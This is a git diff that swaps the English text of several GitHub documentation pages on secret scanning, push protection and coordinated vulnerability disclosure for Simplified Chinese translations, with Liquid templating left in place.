有关详细信息,请参阅“[管理存储库的安全和分析设置](/github/administering-a-repository/managing-security-and-analysis-settings-for-your-repository)”和“[管理组织的安全和分析设置](/organizations/keeping-your-organization-secure/managing-security-and-analysis-settings-for-your-organization)”。 + +{% ifversion ghes or ghae or ghec %}还可以为存储库、组织或企业定义自定义 {% data variables.product.prodname_secret_scanning %} 模式。 有关详细信息,请参阅“[定义 {% data variables.product.prodname_secret_scanning %} 的自定义模式](/code-security/secret-security/defining-custom-patterns-for-secret-scanning)”。 {% endif %} -If you're a repository administrator you can enable {% data variables.product.prodname_secret_scanning_GHAS %} for any repository{% ifversion ghec or ghes > 3.4 or ghae > 3.4 %}, including archived repositories{% endif %}. Organization owners can also enable {% data variables.product.prodname_secret_scanning_GHAS %} for all repositories or for all new repositories within an organization. For more information, see "[Managing security and analysis settings for your repository](/github/administering-a-repository/managing-security-and-analysis-settings-for-your-repository)" and "[Managing security and analysis settings for your organization](/organizations/keeping-your-organization-secure/managing-security-and-analysis-settings-for-your-organization)." +{% ifversion secret-scanning-ghas-store-tokens %} {% data variables.product.company_short %} 使用对称加密存储检测到的机密,包括传输中的机密和静态机密。{% endif %}{% ifversion ghes > 3.7 %} 若要轮换用于存储检测到的机密的加密密钥,可以联系 {% data variables.contact.contact_ent_support %}。{% endif %} -{% ifversion ghes or ghae or ghec %}You can also define custom {% data variables.product.prodname_secret_scanning %} patterns for a repository, organization, or enterprise. For more information, see "[Defining custom patterns for {% data variables.product.prodname_secret_scanning %}](/code-security/secret-security/defining-custom-patterns-for-secret-scanning)." -{% endif %} +### 关于 {% data variables.product.prodname_secret_scanning %} 警报 -{% ifversion secret-scanning-ghas-store-tokens %} -{% data variables.product.company_short %} stores detected secrets using symmetric encryption, both in transit and at rest.{% endif %}{% ifversion ghes > 3.7 %} To rotate the encryption keys used for storing the detected secrets, you can contact {% data variables.contact.contact_ent_support %}.{% endif %} +在为存储库启用{% data variables.product.prodname_secret_scanning %}或将提交推送到启用了{% data variables.product.prodname_secret_scanning %}的存储库时,{% data variables.product.prodname_dotcom %} 会扫描这些提交的内容,以查找与服务提供商定义的模式{% ifversion ghes or ghae or ghec %}以及企业、组织或存储库中定义的任何自定义模式{% endif %}匹配的机密。 {% ifversion secret-scanning-issue-body-comments %}{% data reusables.secret-scanning.scan-issue-description-and-comments %}{% endif %} {% ifversion secret-scanning-backfills %}{% data variables.product.prodname_dotcom %} 还会定期对启用了 {% data variables.product.prodname_secret_scanning %} 的存储库中的所有历史记录内容进行扫描。{% endif%} -### About {% data variables.product.prodname_secret_scanning %} alerts +如果 {% data variables.product.prodname_secret_scanning %} 检测到机密, {% data variables.product.prodname_dotcom %} 将生成警报。 -When you enable {% data variables.product.prodname_secret_scanning %} for a repository or push commits to a repository with {% data variables.product.prodname_secret_scanning %} enabled, {% data variables.product.prodname_dotcom %} scans the contents of those commits for secrets that match patterns defined by service providers{% ifversion ghes or ghae or ghec %} and any custom patterns defined in your enterprise, organization, or repository{% endif %}. {% ifversion secret-scanning-issue-body-comments %}{% data reusables.secret-scanning.scan-issue-description-and-comments %}{% endif %} {% ifversion secret-scanning-backfills %}{% data variables.product.prodname_dotcom %} also periodically runs a scan of all historical content in repositories with {% data variables.product.prodname_secret_scanning %} enabled.{% endif%} - -If {% data variables.product.prodname_secret_scanning %} detects a secret, {% data variables.product.prodname_dotcom %} generates an alert. - -- {% data variables.product.prodname_dotcom %} sends an email alert to the repository administrators and organization owners. You'll receive an alert if you are watching the repository, and if you have enabled notifications either for security alerts or for all the activity on the repository. +- {% data variables.product.prodname_dotcom %} 向仓库管理员和组织所有者发送电子邮件警报。 如果你正在关注该存储库,并已为该存储库的安全警报或所有活动启用通知,则会收到警报。 {% ifversion ghes or ghae or ghec %} -- If the contributor who committed the secret isn't ignoring the repository, {% data variables.product.prodname_dotcom %} will also send an email alert to the contributor. The emails contains a link to the related {% data variables.product.prodname_secret_scanning %} alert. The commit author can then view the alert in the repository, and resolve the alert. +- 如果提交机密的参与者未忽略该存储库,{% data variables.product.prodname_dotcom %} 也会向参与者发送电子邮件警报。 电子邮件包含指向相关 {% data variables.product.prodname_secret_scanning %} 警报的链接。 然后,提交作者可以在仓库中查看警报,然后解决警报。 {% endif %} -- {% data variables.product.prodname_dotcom %} displays an alert in the "Security" tab of the repository. +- {% data variables.product.prodname_dotcom %} 在存储库的“安全性”选项卡中显示警报。 -{% ifversion ghes or ghae or ghec %} -For more information about viewing and resolving {% data variables.product.prodname_secret_scanning %} alerts, see "[Managing alerts from {% data variables.product.prodname_secret_scanning %}](/github/administering-a-repository/managing-alerts-from-secret-scanning)."{% endif %} +{% ifversion ghes or ghae or ghec %}有关查看和解决 {% data variables.product.prodname_secret_scanning %} 警报的详细信息,请参阅“[管理 {% data variables.product.prodname_secret_scanning %} 中的警报](/github/administering-a-repository/managing-alerts-from-secret-scanning)”。{% endif %} -Repository administrators and organization owners can grant users and teams access to {% data variables.product.prodname_secret_scanning %} alerts. For more information, see "[Managing security and analysis settings for your repository](/github/administering-a-repository/managing-security-and-analysis-settings-for-your-repository#granting-access-to-security-alerts)." +仓库管理员和组织所有者可以授权用户和团队访问 {% data variables.product.prodname_secret_scanning %} 警报。 有关详细信息,请参阅“[管理存储库的安全和分析设置](/github/administering-a-repository/managing-security-and-analysis-settings-for-your-repository#granting-access-to-security-alerts)”。 -{% ifversion ghec or ghes or ghae > 3.4 %} -You can use the security overview to see an organization-level view of which repositories have enabled {% data variables.product.prodname_secret_scanning %} and the alerts found. For more information, see "[Viewing the security overview](/code-security/security-overview/viewing-the-security-overview)." +{% ifversion ghec or ghes or ghae > 3.4 %} 可以使用安全概览以组织级视图查看已启用{% data variables.product.prodname_secret_scanning %}的存储库以及找到的警报。 有关详细信息,请参阅“[查看安全概述](/code-security/security-overview/viewing-the-security-overview)”。 {% endif %} -{%- ifversion ghec or ghes or ghae %}You can also use the REST API to -monitor results from {% data variables.product.prodname_secret_scanning %} across your {% ifversion ghec %}private {% endif %}repositories{% ifversion ghes %} or your organization{% endif %}. For more information about API endpoints, see "[{% data variables.product.prodname_secret_scanning_caps %}](/rest/reference/secret-scanning)."{% endif %} +{%- ifversion ghec or ghes or ghae %}还可以使用 REST API 跨{% ifversion ghec %}专用{% endif %}存储库{% ifversion ghes %}或组织{% endif %}监视{% data variables.product.prodname_secret_scanning %}中的结果。 有关 API 终结点的详细信息,请参阅“[{% data variables.product.prodname_secret_scanning_caps %}](/rest/reference/secret-scanning)”。{% endif %} {% endif %} -## Further reading +## 延伸阅读 -- "[Securing your repository](/code-security/getting-started/securing-your-repository)" -- "[Keeping your account and data secure](/github/authenticating-to-github/keeping-your-account-and-data-secure)" -{%- ifversion fpt or ghec %} -- "[Managing encrypted secrets for your codespaces](/codespaces/managing-your-codespaces/managing-encrypted-secrets-for-your-codespaces)"{% endif %} -{%- ifversion fpt or ghec or ghes %} -- "[Managing encrypted secrets for Dependabot](/code-security/supply-chain-security/keeping-your-dependencies-updated-automatically/managing-encrypted-secrets-for-dependabot)"{% endif %} -- "[Encrypted secrets](/actions/security-guides/encrypted-secrets)" +- [保护存储库](/code-security/getting-started/securing-your-repository) +- [保护帐户和数据安全](/github/authenticating-to-github/keeping-your-account-and-data-secure){%- ifversion fpt or ghec %} +- [管理 codespace 的加密机密](/codespaces/managing-your-codespaces/managing-encrypted-secrets-for-your-codespaces){% endif %} {%- ifversion fpt or ghec or ghes %} +- [管理 Dependabot 的加密机密](/code-security/supply-chain-security/keeping-your-dependencies-updated-automatically/managing-encrypted-secrets-for-dependabot){% endif %} +- [加密机密](/actions/security-guides/encrypted-secrets) diff --git a/translations/zh-CN/content/code-security/secret-scanning/configuring-secret-scanning-for-your-repositories.md b/translations/zh-CN/content/code-security/secret-scanning/configuring-secret-scanning-for-your-repositories.md index a27d4be080..ceb37c65dc 100644 --- a/translations/zh-CN/content/code-security/secret-scanning/configuring-secret-scanning-for-your-repositories.md +++ b/translations/zh-CN/content/code-security/secret-scanning/configuring-secret-scanning-for-your-repositories.md @@ -1,6 +1,6 @@ --- -title: Configuring secret scanning for your repositories -intro: 'You can configure how {% data variables.product.prodname_dotcom %} scans your repositories for secrets that match advanced security patterns.' +title: 为存储库配置机密扫描 +intro: '您可以配置 {% data variables.product.prodname_dotcom %} 如何扫描存储库以查找与高级安全模式匹配的机密。' product: '{% data reusables.gated-features.secret-scanning %}' permissions: 'People with admin permissions to a repository can enable {% data variables.product.prodname_secret_scanning_GHAS %} for the repository.' redirect_from: @@ -17,78 +17,71 @@ topics: - Advanced Security - Repositories shortTitle: Configure secret scans +ms.openlocfilehash: 7739cca195f46043945f39f48aad8bf88aa97fed +ms.sourcegitcommit: 6185352bc563024d22dee0b257e2775cadd5b797 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 12/09/2022 +ms.locfileid: '148192935' --- +{% data reusables.secret-scanning.beta %} {% data reusables.secret-scanning.enterprise-enable-secret-scanning %} -{% data reusables.secret-scanning.beta %} -{% data reusables.secret-scanning.enterprise-enable-secret-scanning %} +## 启用 {% data variables.product.prodname_secret_scanning_GHAS %} -## Enabling {% data variables.product.prodname_secret_scanning_GHAS %} - -You can enable {% data variables.product.prodname_secret_scanning_GHAS %} for any repository that is owned by an organization. Once enabled, {% data reusables.secret-scanning.secret-scanning-process %} {% ifversion secret-scanning-issue-body-comments %}{% data reusables.secret-scanning.scan-issue-description-and-comments %} +可以对组织拥有的任何存储库启用 {% data variables.product.prodname_secret_scanning_GHAS %}。 启用后,{% data reusables.secret-scanning.secret-scanning-process %} {% ifversion secret-scanning-issue-body-comments %}{% data reusables.secret-scanning.scan-issue-description-and-comments %} {% note %} -**Note:** {% data variables.product.prodname_secret_scanning_caps %} for issue descriptions and comments is in public beta and subject to change. +注意:问题说明和评论的 {% data variables.product.prodname_secret_scanning_caps %} 为公共 beta 版本,可能会发生更改。 -{% endnote %} -{% endif %} +{% endnote %} {% endif %} -{% ifversion secret-scanning-enterprise-level %} -{% note %} +{% ifversion secret-scanning-enterprise-level %} {% note %} -**Note:** If your organization is owned by an enterprise account, an enterprise owner can also enable {% data variables.product.prodname_secret_scanning %} at the enterprise level. For more information, see "[Managing {% data variables.product.prodname_GH_advanced_security %} features for your enterprise](/admin/code-security/managing-github-advanced-security-for-your-enterprise/managing-github-advanced-security-features-for-your-enterprise)." +注意:如果组织由企业帐户拥有,则企业所有者还可以在企业级别启用 {% data variables.product.prodname_secret_scanning %}。 有关详细信息,请参阅“[管理企业的 {% data variables.product.prodname_GH_advanced_security %}功能](/admin/code-security/managing-github-advanced-security-for-your-enterprise/managing-github-advanced-security-features-for-your-enterprise)”。 -{% endnote %} -{% endif %} +{% endnote %} {% endif %} -{% data reusables.repositories.navigate-to-repo %} -{% data reusables.repositories.sidebar-settings %} -{% data reusables.repositories.navigate-to-code-security-and-analysis %} -1. If {% data variables.product.prodname_advanced_security %} is not already enabled for the repository, to the right of "{% data variables.product.prodname_GH_advanced_security %}", click **Enable**. - {% ifversion fpt or ghec %}![Enable {% data variables.product.prodname_GH_advanced_security %} for your repository](/assets/images/help/repository/enable-ghas-dotcom.png) - {% elsif ghes or ghae %}![Enable {% data variables.product.prodname_GH_advanced_security %} for your repository](/assets/images/enterprise/3.1/help/repository/enable-ghas.png){% endif %} -2. Review the impact of enabling {% data variables.product.prodname_advanced_security %}, then click **Enable {% data variables.product.prodname_GH_advanced_security %} for this repository**. -3. When you enable {% data variables.product.prodname_advanced_security %}, {% data variables.product.prodname_secret_scanning %} may automatically be enabled for the repository due to the organization's settings. If "{% data variables.product.prodname_secret_scanning_caps %}" is shown with an **Enable** button, you still need to enable {% data variables.product.prodname_secret_scanning %} by clicking **Enable**. If you see a **Disable** button, {% data variables.product.prodname_secret_scanning %} is already enabled. - ![Enable {% data variables.product.prodname_secret_scanning %} for your repository](/assets/images/help/repository/enable-secret-scanning-dotcom.png) -{% ifversion secret-scanning-push-protection %} -1. Optionally, if you want to enable push protection, click **Enable** to the right of "Push protection." {% data reusables.secret-scanning.push-protection-overview %} For more information, see "[Protecting pushes with {% data variables.product.prodname_secret_scanning %}](/code-security/secret-scanning/protecting-pushes-with-secret-scanning)." - ![Enable push protection for your repository](/assets/images/help/repository/secret-scanning-enable-push-protection.png) -{% endif %} -{% ifversion ghae %} -1. Before you can enable {% data variables.product.prodname_secret_scanning %}, you need to enable {% data variables.product.prodname_GH_advanced_security %} first. To the right of "{% data variables.product.prodname_GH_advanced_security %}", click **Enable**. - ![Enable {% data variables.product.prodname_GH_advanced_security %} for your repository](/assets/images/enterprise/github-ae/repository/enable-ghas-ghae.png) -2. Click **Enable {% data variables.product.prodname_GH_advanced_security %} for this repository** to confirm the action. - ![Confirm enabling {% data variables.product.prodname_GH_advanced_security %} for your repository](/assets/images/enterprise/github-ae/repository/enable-ghas-confirmation-ghae.png) -3. To the right of "{% data variables.product.prodname_secret_scanning_caps %}", click **Enable**. - ![Enable {% data variables.product.prodname_secret_scanning %} for your repository](/assets/images/enterprise/github-ae/repository/enable-secret-scanning-ghae.png) -{% endif %} +{% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.sidebar-settings %} {% data reusables.repositories.navigate-to-code-security-and-analysis %} +1. 如果尚未对存储库启用 {% data variables.product.prodname_advanced_security %},请在“{% data variables.product.prodname_GH_advanced_security %}”右侧单击“启用”。 + {% ifversion fpt or ghec %}![为存储库启用 {% data variables.product.prodname_GH_advanced_security %}](/assets/images/help/repository/enable-ghas-dotcom.png) {% elsif ghes or ghae %}![为存储库启用 {% data variables.product.prodname_GH_advanced_security %}](/assets/images/enterprise/3.1/help/repository/enable-ghas.png){% endif %} +2. 查看启用 {% data variables.product.prodname_advanced_security %} 的影响,然后单击“为此存储库启用 {% data variables.product.prodname_GH_advanced_security %}”。 +3. 当您启用 {% data variables.product.prodname_advanced_security %} 时,{% data variables.product.prodname_secret_scanning %} 可能会因为组织的设置而自动启用。 如果显示“{% data variables.product.prodname_secret_scanning_caps %}”带有“启用”按钮,则仍需通过单击“启用”来启用 {% data variables.product.prodname_secret_scanning %} 。 如果你看到“禁用”按钮,则表示 {% data variables.product.prodname_secret_scanning %} 已启用。 + ![为存储库启用 {% data variables.product.prodname_secret_scanning %}](/assets/images/help/repository/enable-secret-scanning-dotcom.png) {% ifversion secret-scanning-push-protection %} +1. (可选)如果要启用推送保护,请单击“推送保护”右侧的“启用”。 {% data reusables.secret-scanning.push-protection-overview %} 有关详细信息,请参阅“[通过 {% data variables.product.prodname_secret_scanning %} 保护推送](/code-security/secret-scanning/protecting-pushes-with-secret-scanning)”。 + ![为存储库启用推送保护](/assets/images/help/repository/secret-scanning-enable-push-protection.png) {% endif %} {% ifversion ghae %} +1. 在可以启用 {% data variables.product.prodname_secret_scanning %} 之前,您需要先启用 {% data variables.product.prodname_GH_advanced_security %}。 在“{% data variables.product.prodname_GH_advanced_security %}”右侧,单击“启用”。 + ![为存储库启用 {% data variables.product.prodname_GH_advanced_security %}](/assets/images/enterprise/github-ae/repository/enable-ghas-ghae.png) +2. 单击“为存储库启用 {% data variables.product.prodname_GH_advanced_security %}”以确认此操作。 + ![确认为存储库启用 {% data variables.product.prodname_GH_advanced_security %}](/assets/images/enterprise/github-ae/repository/enable-ghas-confirmation-ghae.png) +3. 在“{% data variables.product.prodname_secret_scanning_caps %}”右侧,单击“启用”。 + ![为存储库启用 {% data variables.product.prodname_secret_scanning %}](/assets/images/enterprise/github-ae/repository/enable-secret-scanning-ghae.png) {% endif %} -## Excluding directories from {% data variables.product.prodname_secret_scanning_GHAS %} +## 从 {% data variables.product.prodname_secret_scanning_GHAS %} 中排除目录 -You can use a *secret_scanning.yml* file to exclude directories from {% data variables.product.prodname_secret_scanning %}. For example, you can exclude directories that contain tests or randomly generated content. +可以使用 secret_scanning.yml 文件从 {% data variables.product.prodname_secret_scanning %} 中排除目录。 例如,可以排除包含测试或随机生成内容的目录。 -{% data reusables.repositories.navigate-to-repo %} -{% data reusables.files.add-file %} -3. In the file name field, type *.github/secret_scanning.yml*. -4. Under **Edit new file**, type `paths-ignore:` followed by the paths you want to exclude from {% data variables.product.prodname_secret_scanning %}. +{% data reusables.repositories.navigate-to-repo %} {% data reusables.files.add-file %} +3. 在文件名字段中,键入 .github/secret_scanning.yml。 +4. 在“编辑新文件”下,键入 `paths-ignore:`,后跟要从 {% data variables.product.prodname_secret_scanning %} 中排除的路径。 ``` yaml paths-ignore: - "foo/bar/*.js" ``` - You can use special characters, such as `*` to filter paths. For more information about filter patterns, see "[Workflow syntax for GitHub Actions](/actions/reference/workflow-syntax-for-github-actions#filter-pattern-cheat-sheet)." + 可以使用特殊字符(例如 `*`)来筛选路径。 有关筛选器模式的详细信息,请参阅“[GitHub Actions 的工作流语法](/actions/reference/workflow-syntax-for-github-actions#filter-pattern-cheat-sheet)”。 {% note %} - **Notes:** - - If there are more than 1,000 entries in `paths-ignore`, {% data variables.product.prodname_secret_scanning %} will only exclude the first 1,000 directories from scans. - - If *secret_scanning.yml* is larger than 1 MB, {% data variables.product.prodname_secret_scanning %} will ignore the entire file. + **注意:** + - 如果 `paths-ignore` 中的条目超过 1,000 个,{% data variables.product.prodname_secret_scanning %} 只会从扫描中排除前 1,000 个目录。 + - 如果 secret_scanning.yml 大于 1 MB,{% data variables.product.prodname_secret_scanning %} 将忽略整个文件。 {% endnote %} -You can also ignore individual alerts from {% data variables.product.prodname_secret_scanning %}. For more information, see "[Managing alerts from {% data variables.product.prodname_secret_scanning %}](/github/administering-a-repository/managing-alerts-from-secret-scanning#managing-secret-scanning-alerts)." +您也可以忽略来自 {% data variables.product.prodname_secret_scanning %} 的个别警报。 有关详细信息,请参阅“[管理来自 {% data variables.product.prodname_secret_scanning %} 的警报](/github/administering-a-repository/managing-alerts-from-secret-scanning#managing-secret-scanning-alerts)”。 -## Further reading +## 延伸阅读 -- "[Managing security and analysis settings for your organization](/organizations/keeping-your-organization-secure/managing-security-and-analysis-settings-for-your-organization)" -- "[Defining custom patterns for {% data variables.product.prodname_secret_scanning %}](/code-security/secret-security/defining-custom-patterns-for-secret-scanning)" +- [管理组织的安全和分析设置](/organizations/keeping-your-organization-secure/managing-security-and-analysis-settings-for-your-organization) +- [定义 {% data variables.product.prodname_secret_scanning %} 的自定义模式](/code-security/secret-security/defining-custom-patterns-for-secret-scanning) diff --git a/translations/zh-CN/content/code-security/secret-scanning/pushing-a-branch-blocked-by-push-protection.md b/translations/zh-CN/content/code-security/secret-scanning/pushing-a-branch-blocked-by-push-protection.md index 5a7987c33c..8fb8b68c57 100644 --- a/translations/zh-CN/content/code-security/secret-scanning/pushing-a-branch-blocked-by-push-protection.md +++ b/translations/zh-CN/content/code-security/secret-scanning/pushing-a-branch-blocked-by-push-protection.md @@ -1,6 +1,6 @@ --- -title: Pushing a branch blocked by push protection -intro: 'The push protection feature of {% data variables.product.prodname_secret_scanning %} proactively protects you against leaked secrets in your repositories. You can resolve blocked pushes and, once the detected secret is removed, you can push changes to your working branch from the command line or the web UI.' +title: 推送受推送保护阻止的分支 +intro: '{% data variables.product.prodname_secret_scanning %} 的推送保护功能会主动保护你免遭存储库中泄露的机密的侵害。 可以解析阻止的推送,在删除检测到的机密后,可以从命令行或 Web UI 将更改推送到工作分支。' product: '{% data reusables.gated-features.secret-scanning %}' miniTocMaxHeadingLevel: 3 versions: @@ -12,51 +12,50 @@ topics: - Alerts - Repositories shortTitle: Push a blocked branch +ms.openlocfilehash: debabaab43bae680f43cdbe2bd6be6826b5748de +ms.sourcegitcommit: 96af28d597b411664d9bfd106dfa1e6b90788f7a +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 08/16/2022 +ms.locfileid: '147578702' --- +## 关于 {% data variables.product.prodname_secret_scanning %} 的推送保护 -## About push protection for {% data variables.product.prodname_secret_scanning %} - -The push protection feature of {% data variables.product.prodname_secret_scanning %} helps to prevent security leaks by scanning for secrets before you push changes to your repository. {% data reusables.secret-scanning.push-protection-overview %} For information on the secrets and service providers supported for push protection, see "[{% data variables.product.prodname_secret_scanning_caps %} patterns](/code-security/secret-scanning/secret-scanning-patterns#supported-secrets-for-push-protection)." +{% data variables.product.prodname_secret_scanning %} 的推送保护功能有助于通过在将更改推送到存储库之前扫描有无机密来避免安全漏洞。 {% data reusables.secret-scanning.push-protection-overview %} 有关推送保护支持的机密和服务提供商的信息,请参阅“[{% data variables.product.prodname_secret_scanning_caps %} 模式](/code-security/secret-scanning/secret-scanning-patterns#supported-secrets-for-push-protection)”。 {% data reusables.secret-scanning.push-protection-remove-secret %} {% tip %} -**Tip** -If {% data variables.product.prodname_dotcom %} blocks a secret that you believe is safe to push, you can allow the secret and specify the reason why it should be allowed. For more information about bypassing push protection for a secret, see "[Allowing a blocked secret to be pushed](/code-security/secret-scanning/protecting-pushes-with-secret-scanning#allowing-a-blocked-secret-to-be-pushed)" and "[Bypassing push protection for a secret](/code-security/secret-scanning/protecting-pushes-with-secret-scanning#bypassing-push-protection-for-a-secret)" for the command line and the web UI, respectively. +**提示** 如果 {% data variables.product.prodname_dotcom %} 阻止了一个你认为可以安全推送的机密,则可以允许该机密并指定允许的原因。 有关绕过对机密的推送保护的详细信息,请分别参阅命令行和 Web UI 的“[允许推送被阻止的机密](/code-security/secret-scanning/protecting-pushes-with-secret-scanning#allowing-a-blocked-secret-to-be-pushed)”和“[绕过机密的推送保护](/code-security/secret-scanning/protecting-pushes-with-secret-scanning#bypassing-push-protection-for-a-secret)”。 {% endtip %} -{% ifversion push-protection-custom-link-orgs %} - -Organization admins can provide a custom link that will be included in the message from {% data variables.product.product_name %} when your push is blocked. This custom link can contain resources and advice specific to your organization and its policies. -{% endif %} - -## Resolving a blocked push on the command line +## 解析命令行上的阻止推送 {% data reusables.secret-scanning.push-protection-command-line-choice %} {% data reusables.secret-scanning.push-protection-multiple-branch-note %} -If the blocked secret was introduced by the latest commit on your branch, you can follow the guidance below. +如果分支上的最新提交引入了阻止的机密,可以遵循以下指南进行操作。 -1. Remove the secret from your code. -1. Commit the changes, by using `git commit --amend`. -1. Push your changes with `git push`. +1. 从代码中删除机密。 +1. 使用 `git commit --amend` 提交更改。 +1. 使用 `git push` 推送更改。 -You can also remove the secret if the secret appears in an earlier commit in the Git history. +如果机密出现在 Git 历史记录的早期提交中,还可以将其删除。 -1. Use `git log` to determine which commit surfaced in the push error came first in history. -1. Start an interactive rebase with `git rebase -i ~1`. is the id of the commit from step 1. -1. Identify your commit to edit by changing `pick` to `edit` on the first line of the text that appears in the editor. -1. Remove the secret from your code. -1. Commit the change with `git commit --amend`. -1. Run `git rebase --continue` to finish the rebase. +1. 使用 `git log` 确定推送错误中呈现的哪个提交首次出现在历史记录中。 +1. 使用 `git rebase -i ~1` 启动交互式变基。 是步骤 1 中提交的 ID。 +1. 通过将编辑器中显示的文本的第一行上的 `pick` 更改为 `edit` 来确定要编辑的提交。 +1. 从代码中删除机密。 +1. 使用 `git commit --amend` 提交更改。 +1. 运行 `git rebase --continue` 以完成变基。 -## Resolving a blocked commit in the web UI +## 在 Web UI 中解析阻止的提交 {% data reusables.secret-scanning.push-protection-web-ui-choice %} -To resolve a blocked commit in the web UI, you need to remove the secret from the file, or use the **Bypass protection** dropdown to allow the secret. For more information about bypassing push protection from the web UI, see "[Protecting pushes with secret scanning](/code-security/secret-scanning/protecting-pushes-with-secret-scanning#bypassing-push-protection-for-a-secret)." +若要解决 Web UI 中被阻止的提交,需要从文件中删除机密,或使用“绕过保护”下拉列表允许机密。 有关绕过 Web UI 中的推送保护的详细信息,请参阅“[使用机密扫描保护推送](/code-security/secret-scanning/protecting-pushes-with-secret-scanning#bypassing-push-protection-for-a-secret)”。 -If you confirm a secret is real, you need to remove the secret from the file. Once you remove the secret, the banner at the top of the page will change and tell you that you can now commit your changes. +如果确认机密是真实的,则需要将机密从文件中删除。 删除机密后,页面顶部的横幅将发生更改,并告知你现在可以提交更改。 diff --git a/translations/zh-CN/content/code-security/security-advisories/repository-security-advisories/about-coordinated-disclosure-of-security-vulnerabilities.md b/translations/zh-CN/content/code-security/security-advisories/repository-security-advisories/about-coordinated-disclosure-of-security-vulnerabilities.md new file mode 100644 index 0000000000..24dd11df46 --- /dev/null +++ b/translations/zh-CN/content/code-security/security-advisories/repository-security-advisories/about-coordinated-disclosure-of-security-vulnerabilities.md @@ -0,0 +1,77 @@ +--- +title: 关于安全漏洞的协调披露 +intro: 漏洞披露是安全报告者与仓库维护者之间的协调工作。 +redirect_from: +- /code-security/security-advisories/about-coordinated-disclosure-of-security-vulnerabilities +- /code-security/repository-security-advisories/about-coordinated-disclosure-of-security-vulnerabilities +miniTocMaxHeadingLevel: 3 +versions: + fpt: '*' + ghec: '*' +type: overview +topics: +- Security advisories +- Vulnerabilities +shortTitle: Coordinated disclosure +ms.openlocfilehash: c451554e08b4193ca20f9af8a5e694750808bf19 +ms.sourcegitcommit: 27882d9b3f19979c817c25952a2fb4dc4c6f0a65 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 10/27/2022 +ms.locfileid: "148113999" +--- +## 关于披露行业漏洞 + +{% data reusables.security-advisory.disclosing-vulnerabilities %} + +漏洞的初始报告是私下发布的,并且只有在维护者确认问题后才会公布全部详细信息,最好提供补救或修补程序,有时会延迟,以便有更多的时间安装修补程序。 有关详细信息,请参阅 OWASP 备忘单系列网站上的“[关于漏洞披露的 OWASP 备忘单系列](https://cheatsheetseries.owasp.org/cheatsheets/Vulnerability_Disclosure_Cheat_Sheet.html#commercial-and-open-source-software)”。 + +### 漏洞报告者的最佳实践 + +私下向维护者报告漏洞是一项良好的做法。 如果可能,作为漏洞报告者,我们建议您避免: +- 公开披露漏洞而不给维护者补救的机会。 +- 绕过维护者。 +- 在代码的修复版可用之前披露漏洞。 +- 在没有公共奖励方案的情况下,报告某个问题时期望得到补偿。 + +漏洞报告者如果已尝试联系维护者但未收到回复,或与已联系他们但被要求等待很久才能披露,则在一段时间后公开披露漏洞是可以接受的。 + +我们建议漏洞报告者在报告过程中明确说明其披露政策的条款。 即使漏洞报告者不遵守严格的政策,最好在预期漏洞披露的时间表上对维护者设定明确的期望。 有关披露策略的示例,请参阅 GitHub 安全实验室网站上的“[安全实验室披露策略](https://securitylab.github.com/advisories#policy)”。 + +### 维护者最佳实践 + +作为维护者,最佳做法是明确说明您想如何和在何处收到关于漏洞的报告。 如果此信息不可明确,但漏洞报告者不知道如何联系您,可能寻求从 git 提交历史记录中提取开发人员电子邮件地址,以尝试找到适当的安全联系人。 这可能导致摩擦、丢失报告或发布未解决的报告。 + +维护者应及时披露漏洞。 如果您的仓库存在安全漏洞,我们建议您: +- 在响应和披露中,将漏洞视为安全问题,而不是简单的错误。 例如,您需要明确提及问题在发布说明中是一个安全漏洞。 +- 即使没有即时的调查资源,也应尽快确认收到漏洞报告。 这传递了这样一个信息:您可以快速响应并采取行动,并为您与漏洞报告者之间的其余互动设定了积极的基调。 +- 当您验证报告的影响和真实性时,请让漏洞报告者参与。 漏洞报告者可能已经花时间考虑了各种情景中的漏洞,其中一些情况您自己可能都没有考虑过。 +- 以你认为合适的方式解决这个问题,认真考虑漏洞报告者提出的任何关切和建议。 通常,漏洞报告者会了解没有安全研究背景时容易错过的某些角落案例和补救旁路。 +- 始终将漏洞的发现归功于漏洞报告者。 +- 目标是尽快发布修复。 +- 确保您在披露漏洞时让更广泛的生态系统意识到问题及其补救措施。 在项目当前开发分支中修复已识别的安全问题,但提交或后续版本未明确标记为安全修复或发布的情况并不少见。 这可能给下游消费者造成问题。 + +发布安全漏洞的详细信息不会使维护者看起来很糟糕。 安全漏洞在软件中随处可见。用户会信任那些在其守则中明确制定了安全漏洞披露程序的维护者。 + +## 关于在 {% data variables.product.prodname_dotcom %} 上报告和披露项目中的漏洞 + +在 {% data variables.product.prodname_dotcom_the_website %} 上报告和披露项目漏洞的流程如下: + + 如果您是要报告漏洞的漏洞报告者(例如安全研究人员),请先检查相关仓库是否有安全策略。 有关详细信息,请参阅“[关于安全策略](/code-security/getting-started/adding-a-security-policy-to-your-repository#about-security-policies)”。 如果有的话,请先了解该流程,然后再联系该仓库的安全团队。 + + 如果没有安全策略,与维护者建立私人通信手段的最有效办法是制造一个要求优先安全联系的问题。 值得注意的是,这个问题将立即公开可见,所以它不应该包括任何有关漏洞的信息。 建立通信后,您可以建议维护者制定安全策略以供将来使用。 + +{% note %} + +注意:如果我们收到 npm 包中的恶意软件报告,我们会尝试私下与你联系(仅适用于 npm)。 如果您不及时解决问题,我们将予以披露。 有关详细信息,请参阅 npm Docs 网站上的“[报告 npm 包中的恶意软件](https://docs.npmjs.com/reporting-malware-in-an-npm-package)”。 + +{% endnote %} + + 如果您在 {% data variables.product.prodname_dotcom_the_website %} 中发现了安全漏洞,请通过我们协调的披露流程报告该漏洞。 有关详细信息,请参阅“[{% data variables.product.prodname_dotcom %} 安全 Bug 赏金](https://bounty.github.com/)”网站。 + + 如果您是维护者, 您可以在管道开始时通过为您的仓库设置安全策略来掌控这一过程,或者以其他方式使安全报告说明清楚可用,例如在项目的 README 文件中。 有关添加安全策略的信息,请参阅“[关于安全策略](/code-security/getting-started/adding-a-security-policy-to-your-repository#about-security-policies)”。 如果没有安全策略,漏洞报告者可能会尝试向您发送电子邮件或以其他方式私下与您联系。 或者,有人可能会开一个(公共)议题讨论安全问题的细节。 + + 作为维护者,要在您的代码中披露漏洞,请先在 {% data variables.product.prodname_dotcom %} 中软件包的仓库内创建安全通告。 {% data reusables.security-advisory.security-advisory-overview %} 有关详细信息,请参阅“[关于存储库安全公告](/code-security/repository-security-advisories/about-github-security-advisories-for-repositories)”。 + + + 